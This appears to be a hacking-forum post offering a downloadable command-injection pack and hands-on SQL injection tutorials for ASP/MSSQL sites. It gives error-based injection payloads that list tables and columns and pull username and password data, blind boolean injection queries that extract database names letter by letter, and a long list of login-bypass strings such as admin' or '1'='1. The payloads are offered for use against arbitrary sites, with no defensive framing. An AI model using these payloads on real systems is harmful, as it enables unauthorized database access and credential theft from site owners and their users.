Jakson

[hide] This vulnerability is one of the most dangerous vulnerabilities. Which allows the hacker to execute system commands at the operating system level. https://anonfiles.com/Vd58Pbxdu6/Command_Injection_zip [/hide]

[hide] Hello, I am going to teach you the sql injection bug in asp sites in this topic. average level Differences between mssqli and mysql: Mssql is made by Microsoft and is sold at a high price and has more features and is also available for Windows hosts. Mysql is open source and free for Linux and can be run on Windows. -------------------------------------------------- -------------------------------------------------- -------------------- Vulnerability test ‌: Add ‘a’ to the site address. like this : Site.com/news.aspx?id=4’a And by receiving an error, it means that the site is vulnerable. -------------------------------------------------- -------------------------------------------------- -------------------- Extract basic information: The first method : Site.com/news.aspx?id=4+and+1=(convert(int,x)) The second method : Site.com/news.aspx?id=4+or+1=(convert(int,x)) And instead of x you can enter these values ‌: user db_name @@ servername @@ version Host _ @@ version Host_name Extract tables (asp): and 1 = (select top 1 table_name from information_schema.tables) Example : Site.com/news.asp?id=5+and 1 = (select top 1 table_name from information_schema.tables) Output: omerta (indicates the name of a table. For more you need to limit ‌) Restrict tables (asp) and get the next tables: and 1 = (select top 1 table_name from information_schema.tables where table_name not in (‘table 1’, ‘table 2’, ‘table 3’, ‘table 4’, ‘table 5’ …… ’)) Instead of table 1, table 2, etc., type the first name of the table you got, then the second name, the third name, and so on. That is, the output of the first command was, for example: omerta So it goes like this: Site.com/news.asp?id=5+ and 1 = (select top 1 table_name from information_schema.tables where table_name not in (‘omerta’)) Output: jakson shows you the name of the second table And for the next table: Site.com/news.asp?id=5+ and 1 = (select top 1 table_name from information_schema.tables where table_name not in (‘omerta’, ‘jakson’)) Output: Fxck, the name of the third table And again, this is how it goes: Site.com/news.asp?id=5+ and 1 = (select top 1 table_name from information_schema.tables where table_name not in (‘omerta’, ‘jakson’, ‘Fxck’)) Pull out the columns of a table: ‌ and 1 = (select top 1 column_name from information_schema.columns where table_name = ‘table name omerta’ ( Write the name of your important table instead of the semi-important table. And for example the output is: ID and for the next column you do this: and 1 = (select top 1 column_name from information_schema.columns where table_name = ‘table name omerta’ and column_name not in (‘ID’)) And like pulling out a table, you say show me a column that is not in the list. And for the next column: and 1 = (select top 1 column_name from information_schema.columns where table_name = ‘table name omerta’ and column_name not in (‘ID’, ‘user’)) The same goes for the next columns. Most of the points are like pulling out the tables. --------- Go to extract column information (username and password) Extract column information: + and + 1 = (select top 1 column name from table name) Instead of the half table, write the name of the table you want, for example __user, and instead of the half column, write the name of the desired column. Example : Site.com/news.asp?id=9+and+1=(select top 1 username from __user) [/hide]

[hide] Vulnerability test: and 1 = 1 should be loaded and and 1 = 2 should not be loaded. Database name By order: and isnull (ascii (substring (cast ((select lower (db_name (0))) as varchar (8000)), 1,1)), 0)> 97 97 which becomes with the code ascii a And we are saying that the first letter of the database name is a, and if the page is loaded, it means that the first letter is not a, and 97, for example, becomes 98, that is, b, and so on. One by one until you reach a number that does not load the page and that is the first letter of the database name and most things are like blind in mysql and for example to do Do the same for the second letter of the database name, the number that we reddened in the above command, for example, 2, and for the letter 3, make 3, and so on. Sorry it took a while. --------- --------- --------- --------- --------- ----- ---- --------- --------- --------- --------- tip : If the result is as follows: (For example, for letter 25) 99 ‌ <true 100> true 99 = false That is, it is not more than 99 and not less than 100 and 99, so between these it is 99.5, which is estimated to be 100 as follows: and isnull (ascii (substring (cast ((select lower (db_name (0))) as varchar (8000)), 1,1)), 0)> 99 = load and isnull (ascii (substring (cast ((select lower (db_name (0))) as varchar (8000)), 1,1)), 0)> 100 = no load and isnull (ascii (substring (cast ((select lower (db_name (0))) as varchar (8000)), 1,1)), 0) = 99 = no load --------- --------- --------- --------- --------- ----- ---- --------- --------- --------- --------- Extract the names of the following databases: and isnull (ascii (substring (cast ((select lower (db_name (0))) as varcher (8000)), 1,1)), 0)> 97 To do this, add the number 0, which is blue, one by one to go to the next database one by one. Example : and isnull (ascii (substring (cast ((select lower (db_name (1))) as varcher (8000)), 6,1)), 0)> 97 and isnull (ascii (substring (cast ((select lower (db_name (2))) as varcher (8000)), 4,1)), 0)> 98 and isnull (ascii (substring (cast ((select lower (db_name (3))) as varcher (8000)), 3,1)), 0)> 102 and isnull (ascii (substring (cast ((select lower (db_name (4))) as varcher (8000)), 1,1)), 0)> 107 Pull out the tables: and isnull (ascii (substring (cast ((select top 1 lower (name) from sysobjects where xtype = 0x55 and name not in (select top 1 lower (name) from sysobjects where xtype = 0x55)) as varcher (8000)), 1,1)), 0)> 97 For the second letter, add the purple number one by one And the rest of the things are like a normal blind, and that, for example, you came and got all the words of the first table, but it was not useful for you to go to the second table. Add the number after the top (which is blue and bold) one by one. In the next post, I will teach you how to pull out the columns. Friends who do not know the blind method in php sites or would like me to teach the blind method in php sites to support this post. Extract the columns of a table: and isnull (ascii (substring (cast) (select p.name from (select (select count (i.colid) rid from syscolumns i where (i.colid <= o.colid) and id = (select id from sysobjects where name = 'X')) x, name from syscolumns o where id = (select id from sysobject where name = 'X')) p where (px = 1)) as varcher (8000)), 1,1)), 0 )> 97 In the two parts where this X was, write the name of the important table, and the number 97, which is blue, means that it represents the letters in the columns, you can make it less (that is, it can also be capital letters). And the purple number is to go to the next character, and to go to the next column, you increase the number 1, which is bold and green, and the rest of the steps are the same as the previous methods. Extract column information from a table: and ascii (substring (select column from table where masir), 1,1))> 97 Instead of column, write the name of the desired column, and instead of table, write the name of the important table, and instead of masir, the things of the GET method (other than what we have written), for example, id = 1, and the rest of the steps are the same for Draw out the first letter of the same number 97 and change to the next character the same number as the usual 1. [/hide]

[hide] or 1=1 or 1=1-- or 1=1# or 1=1/* admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* admin" -- admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* [/hide]